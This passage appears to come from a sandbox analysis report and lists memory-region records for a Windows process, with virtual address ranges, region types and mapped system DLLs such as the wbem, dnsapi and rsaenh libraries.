	              id = 587
	        start_va = 0x6df0000
	          end_va = 0x6df0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006df0000"
	        filename = ""

Region:
	              id = 588
	        start_va = 0x6e00000
	          end_va = 0x6e01fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e00000"
	        filename = ""

Region:
	              id = 589
	        start_va = 0x6e10000
	          end_va = 0x6e1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e10000"
	        filename = ""

Region:
	              id = 590
	        start_va = 0x6e20000
	          end_va = 0x6e21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 591
	        start_va = 0x6e30000
	          end_va = 0x6e30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e30000"
	        filename = ""

Region:
	              id = 592
	        start_va = 0x6e40000
	          end_va = 0x6e40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e40000"
	        filename = ""

Region:
	              id = 593
	        start_va = 0x6e50000
	          end_va = 0x6e51fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e50000"
	        filename = ""

Region:
	              id = 594
	        start_va = 0x6e60000
	          end_va = 0x6e60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e60000"
	        filename = ""

Region:
	              id = 595
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 596
	        start_va = 0x6e70000
	          end_va = 0x6e70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e70000"
	        filename = ""

Region:
	              id = 597
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 598
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 599
	        start_va = 0x6e20000
	          end_va = 0x6e21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 600
	        start_va = 0x6e80000
	          end_va = 0x6e80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e80000"
	        filename = ""

Region:
	              id = 601
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 602
	        start_va = 0x6e20000
	          end_va = 0x6e21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 603
	        start_va = 0x6e90000
	          end_va = 0x6e90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e90000"
	        filename = ""

Region:
	              id = 604
	        start_va = 0x6ea0000
	          end_va = 0x6ea0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ea0000"
	        filename = ""

Region:
	              id = 605
	        start_va = 0x6eb0000
	          end_va = 0x6eb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006eb0000"
	        filename = ""

Region:
	              id = 606
	        start_va = 0x6ec0000
	          end_va = 0x6ec0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ec0000"
	        filename = ""

Region:
	              id = 607
	        start_va = 0x6ed0000
	          end_va = 0x6ed0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ed0000"
	        filename = ""

Region:
	              id = 608
	        start_va = 0x6ee0000
	          end_va = 0x6ee0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ee0000"
	        filename = ""

Region:
	              id = 609
	        start_va = 0x6ef0000
	          end_va = 0x6ef0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ef0000"
	        filename = ""

Region:
	              id = 610
	        start_va = 0x6f00000
	          end_va = 0x6f00fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f00000"
	        filename = ""

Region:
	              id = 611
	        start_va = 0x6f10000
	          end_va = 0x6f10fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f10000"
	        filename = ""

Region:
	              id = 612
	        start_va = 0x6f20000
	          end_va = 0x6f20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f20000"
	        filename = ""

Region:
	              id = 613
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 614
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 615
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 616
	        start_va = 0x6f30000
	          end_va = 0x6f30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f30000"
	        filename = ""

Region:
	              id = 617
	        start_va = 0x6f40000
	          end_va = 0x6f40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f40000"
	        filename = ""

Region:
	              id = 618
	        start_va = 0x6f50000
	          end_va = 0x6f50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f50000"
	        filename = ""

Region:
	              id = 619
	        start_va = 0x6f60000
	          end_va = 0x6f60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f60000"
	        filename = ""

Region:
	              id = 620
	        start_va = 0x6f70000
	          end_va = 0x6f70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f70000"
	        filename = ""

Region:
	              id = 621
	        start_va = 0x6f80000
	          end_va = 0x6f80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f80000"
	        filename = ""

Region:
	              id = 622
	        start_va = 0x6f90000
	          end_va = 0x6f90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006f90000"
	        filename = ""

Region:
	              id = 623
	        start_va = 0x6fa0000
	          end_va = 0x6fa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006fa0000"
	        filename = ""

Region:
	              id = 624
	        start_va = 0x6fb0000
	          end_va = 0x6fb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006fb0000"
	        filename = ""

Region:
	              id = 625
	        start_va = 0x6fc0000
	          end_va = 0x6fc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006fc0000"
	        filename = ""

Region:
	              id = 626
	        start_va = 0x6fd0000
	          end_va = 0x6fd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006fd0000"
	        filename = ""

Region:
	              id = 627
	        start_va = 0x6fe0000
	          end_va = 0x6fe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006fe0000"
	        filename = ""

Region:
	              id = 628
	        start_va = 0x6ff0000
	          end_va = 0x6ff0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ff0000"
	        filename = ""

Region:
	              id = 629
	        start_va = 0x7000000
	          end_va = 0x7000fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007000000"
	        filename = ""

Region:
	              id = 630
	        start_va = 0x7010000
	          end_va = 0x7010fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007010000"
	        filename = ""

Region:
	              id = 631
	        start_va = 0x7020000
	          end_va = 0x7020fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007020000"
	        filename = ""

Region:
	              id = 632
	        start_va = 0x7030000
	          end_va = 0x7030fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007030000"
	        filename = ""

Region:
	              id = 633
	        start_va = 0x7040000
	          end_va = 0x7040fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007040000"
	        filename = ""

Region:
	              id = 634
	        start_va = 0x7050000
	          end_va = 0x7050fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007050000"
	        filename = ""

Region:
	              id = 635
	        start_va = 0x7060000
	          end_va = 0x7060fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007060000"
	        filename = ""

Region:
	              id = 636
	        start_va = 0x7070000
	          end_va = 0x7070fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007070000"
	        filename = ""

Region:
	              id = 637
	        start_va = 0x7080000
	          end_va = 0x7080fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007080000"
	        filename = ""

Region:
	              id = 638
	        start_va = 0x7090000
	          end_va = 0x7090fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007090000"
	        filename = ""

Region:
	              id = 639
	        start_va = 0x70a0000
	          end_va = 0x70a1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000070a0000"
	        filename = ""

Region:
	              id = 640
	        start_va = 0x70b0000
	          end_va = 0x70b1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000070b0000"
	        filename = ""

Region:
	              id = 641
	        start_va = 0x70c0000
	          end_va = 0x70c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000070c0000"
	        filename = ""

Region:
	              id = 642
	        start_va = 0x70d0000
	          end_va = 0x70d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000070d0000"
	        filename = ""

Region:
	              id = 643
	        start_va = 0x70e0000
	          end_va = 0x70e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000070e0000"
	        filename = ""

Region:
	              id = 644
	        start_va = 0x70f0000
	          end_va = 0x70f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000070f0000"
	        filename = ""

Region:
	              id = 645
	        start_va = 0x7100000
	          end_va = 0x7100fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007100000"
	        filename = ""

Region:
	              id = 646
	        start_va = 0x7110000
	          end_va = 0x7110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007110000"
	        filename = ""

Region:
	              id = 647
	        start_va = 0x7120000
	          end_va = 0x7120fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007120000"
	        filename = ""

Region:
	              id = 648
	        start_va = 0x7130000
	          end_va = 0x7130fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007130000"
	        filename = ""

Region:
	              id = 649
	        start_va = 0x7140000
	          end_va = 0x7140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007140000"
	        filename = ""

Region:
	              id = 650
	        start_va = 0x7150000
	          end_va = 0x7150fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007150000"
	        filename = ""

Region:
	              id = 651
	        start_va = 0x7160000
	          end_va = 0x7162fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007160000"
	        filename = ""

Region:
	              id = 652
	        start_va = 0x7170000
	          end_va = 0x7170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007170000"
	        filename = ""

Region:
	              id = 653
	        start_va = 0x7180000
	          end_va = 0x7180fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007180000"
	        filename = ""

Region:
	              id = 654
	        start_va = 0x7190000
	          end_va = 0x7191fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007190000"
	        filename = ""

Region:
	              id = 655
	        start_va = 0x71a0000
	          end_va = 0x71a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000071a0000"
	        filename = ""

Region:
	              id = 656
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 657
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 658
	        start_va = 0x6e20000
	          end_va = 0x6e21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 659
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 660
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 661
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 662
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 663
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 664
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 665
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 666
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 667
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 668
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 669
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 670
	        start_va = 0x71b0000
	          end_va = 0x71b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000071b0000"
	        filename = ""

Region:
	              id = 671
	        start_va = 0x71c0000
	          end_va = 0x71c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000071c0000"
	        filename = ""

Region:
	              id = 672
	        start_va = 0x71d0000
	          end_va = 0x71d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000071d0000"
	        filename = ""

Region:
	              id = 673
	        start_va = 0x71e0000
	          end_va = 0x71e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000071e0000"
	        filename = ""

Region:
	              id = 674
	        start_va = 0x71f0000
	          end_va = 0x71f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000071f0000"
	        filename = ""

Region:
	              id = 675
	        start_va = 0x7200000
	          end_va = 0x7200fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007200000"
	        filename = ""

Region:
	              id = 676
	        start_va = 0x6e20000
	          end_va = 0x6e20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e20000"
	        filename = ""

Region:
	              id = 677
	        start_va = 0x7210000
	          end_va = 0x730ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007210000"
	        filename = ""

Region:
	              id = 678
	        start_va = 0x74bc0000
	          end_va = 0x74c34fff
	     entry_point = 0x74bc0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 679
	        start_va = 0x7310000
	          end_va = 0x746ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007310000"
	        filename = ""

Region:
	              id = 680
	        start_va = 0x3e0000
	          end_va = 0x3e3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003e0000"
	        filename = ""

Region:
	              id = 681
	        start_va = 0x5910000
	          end_va = 0x5913fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005910000"
	        filename = ""

Region:
	              id = 682
	        start_va = 0x5920000
	          end_va = 0x5920fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005920000"
	        filename = ""

Region:
	              id = 683
	        start_va = 0x7310000
	          end_va = 0x73c7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000007310000"
	        filename = ""

Region:
	              id = 684
	        start_va = 0x7460000
	          end_va = 0x746ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007460000"
	        filename = ""

Region:
	              id = 685
	        start_va = 0x74ba0000
	          end_va = 0x74bbcfff
	     entry_point = 0x74ba0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")

Region:
	              id = 686
	        start_va = 0x5930000
	          end_va = 0x5934fff
	     entry_point = 0x5930000
	     region_type = mapped_file
	            name = "user32.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui")

Region:
	              id = 687
	        start_va = 0x74820000
	          end_va = 0x74838fff
	     entry_point = 0x74820000
	     region_type = mapped_file
	            name = "olepro32.dll"
	        filename = "\\Windows\\SysWOW64\\olepro32.dll" (normalized: "c:\\windows\\syswow64\\olepro32.dll")

Region:
	              id = 688
	        start_va = 0x5940000
	          end_va = 0x5942fff
	     entry_point = 0x5940000
	     region_type = mapped_file
	            name = "comctl32.dll.mui"
	        filename = "\\Windows\\WinSxS\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.10240.16384_en-us_51d7fae498734a36\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.10240.16384_en-us_51d7fae498734a36\\comctl32.dll.mui")

Region:
	              id = 689
	        start_va = 0x7470000
	          end_va = 0x7961fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000007470000"
	        filename = ""

Region:
	              id = 690
	        start_va = 0x6df0000
	          end_va = 0x6df1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006df0000"
	        filename = ""

Region:
	              id = 691
	        start_va = 0x73d0000
	          end_va = 0x744ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000073d0000"
	        filename = ""

Region:
	              id = 692
	        start_va = 0x7970000
	          end_va = 0x89affff
	     entry_point = 0x7970000
	     region_type = mapped_file
	            name = "staticcache.dat"
	        filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")

Region:
	              id = 693
	        start_va = 0x6df0000
	          end_va = 0x6df0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006df0000"
	        filename = ""

Region:
	              id = 694
	        start_va = 0x747f0000
	          end_va = 0x74817fff
	     entry_point = 0x747f0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll")

Region:
	              id = 695
	        start_va = 0x6e00000
	          end_va = 0x6e00fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006e00000"
	        filename = ""

Region:
	              id = 696
	        start_va = 0x77760000
	          end_va = 0x777e1fff
	     entry_point = 0x77760000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 697
	        start_va = 0x6e10000
	          end_va = 0x6e10fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006e10000"
	        filename = ""

Region:
	              id = 698
	        start_va = 0x747a0000
	          end_va = 0x747e1fff
	     entry_point = 0x747a0000
	     region_type = mapped_file
	            name = "wbemdisp.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.dll")

Region:
	              id = 699
	        start_va = 0x74730000
	          end_va = 0x74795fff
	     entry_point = 0x74730000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll")

Region:
	              id = 700
	        start_va = 0x74720000
	          end_va = 0x7472cfff
	     entry_point = 0x74720000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll")

Region:
	              id = 701
	        start_va = 0x74700000
	          end_va = 0x7471dfff
	     entry_point = 0x74700000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll")

Region:
	              id = 702
	        start_va = 0x746e0000
	          end_va = 0x746f1fff
	     entry_point = 0x746e0000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll")

Region:
	              id = 703
	        start_va = 0x746c0000
	          end_va = 0x746d5fff
	     entry_point = 0x746c0000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll")

Region:
	              id = 704
	        start_va = 0x746a0000
	          end_va = 0x746b2fff
	     entry_point = 0x746a0000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll")

Region:
	              id = 705
	        start_va = 0x74650000
	          end_va = 0x7469dfff
	     entry_point = 0x74650000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 706
	        start_va = 0x745c0000
	          end_va = 0x74643fff
	     entry_point = 0x745c0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 707
	        start_va = 0x745b0000
	          end_va = 0x745bafff
	     entry_point = 0x745b0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll")

Region:
	              id = 708
	        start_va = 0x74560000
	          end_va = 0x745a5fff
	     entry_point = 0x74560000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 709
	        start_va = 0x74550000
	          end_va = 0x74557fff
	     entry_point = 0x74550000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 710
	        start_va = 0x74530000
	          end_va = 0x74542fff
	     entry_point = 0x74530000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 711
	        start_va = 0x74500000
	          end_va = 0x7452efff
	     entry_point = 0x74500000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 712
	        start_va = 0x89b0000
	          end_va = 0x89effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000089b0000"
	        filename = ""

Region:
	              id = 713
	        start_va = 0x89f0000
	          end_va = 0x8aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000089f0000"
	        filename = ""

Region:
	              id = 714
	        start_va = 0x8af0000
	          end_va = 0x8b2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008af0000"
	        filename = ""

Region:
	              id = 715
	        start_va = 0x8b30000
	          end_va = 0x8c2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008b30000"
	        filename = ""

Region:
	              id = 716
	        start_va = 0x8c30000
	          end_va = 0x8c6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008c30000"
	        filename = ""

Region:
	              id = 717
	        start_va = 0x8c70000
	          end_va = 0x8d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008c70000"
	        filename = ""

Region:
	              id = 718
	        start_va = 0x7fe62000
	          end_va = 0x7fe64fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe62000"
	        filename = ""

Region:
	              id = 719
	        start_va = 0x7fe65000
	          end_va = 0x7fe67fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe65000"
	        filename = ""

Region:
	              id = 720
	        start_va = 0x7fe68000
	          end_va = 0x7fe6afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe68000"
	        filename = ""

Region:
	              id = 721
	        start_va = 0x744e0000
	          end_va = 0x744f0fff
	     entry_point = 0x744e0000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll")

Region:
	              id = 1091
	        start_va = 0x74420000
	          end_va = 0x744dbfff
	     entry_point = 0x74420000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll")

Region:
	              id = 1092
	        start_va = 0x743a0000
	          end_va = 0x7441ffff
	     entry_point = 0x743a0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")

Region:
	              id = 1093
	        start_va = 0x6e20000
	          end_va = 0x6e2efff
	     entry_point = 0x6e20000
	     region_type = mapped_file
	            name = "wbemdisp.tlb"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.tlb")

Region:
	              id = 1094
	        start_va = 0x7450000
	          end_va = 0x7454fff
	     entry_point = 0x7450000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb")

Region:
	              id = 1095
	        start_va = 0x74370000
	          end_va = 0x7439ffff
	     entry_point = 0x74370000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 1096
	        start_va = 0x74360000
	          end_va = 0x74367fff
	     entry_point = 0x74360000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 3090
	        start_va = 0x8d70000
	          end_va = 0x8d72fff
	     entry_point = 0x8d70000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 3091
	        start_va = 0x8d80000
	          end_va = 0x8d88fff
	     entry_point = 0x8d80000
	     region_type = mapped_file
	            name = "tzres.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui")

Region:
	              id = 3092
	        start_va = 0x8d70000
	          end_va = 0x8d72fff
	     entry_point = 0x8d70000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 3093
	        start_va = 0x8d80000
	          end_va = 0x8d88fff
	     entry_point = 0x8d80000
	     region_type = mapped_file
	            name = "tzres.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui")

Region:
	              id = 3094
	        start_va = 0x8e40000
	          end_va = 0x8efafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008e40000"
	        filename = ""

Region:
	              id = 3095
	        start_va = 0x8d70000
	          end_va = 0x8de2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008d70000"
	        filename = ""

Region:
	              id = 3096
	        start_va = 0x8f00000
	          end_va = 0x8f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008f00000"
	        filename = ""

Region:
	              id = 3097
	        start_va = 0x9030000
	          end_va = 0x90eafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000009030000"
	        filename = ""

Region:
	              id = 3098
	        start_va = 0x8df0000
	          end_va = 0x8e34fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008df0000"
	        filename = ""

Region:
	              id = 3099
	        start_va = 0x8f60000
	          end_va = 0x8fd2fff
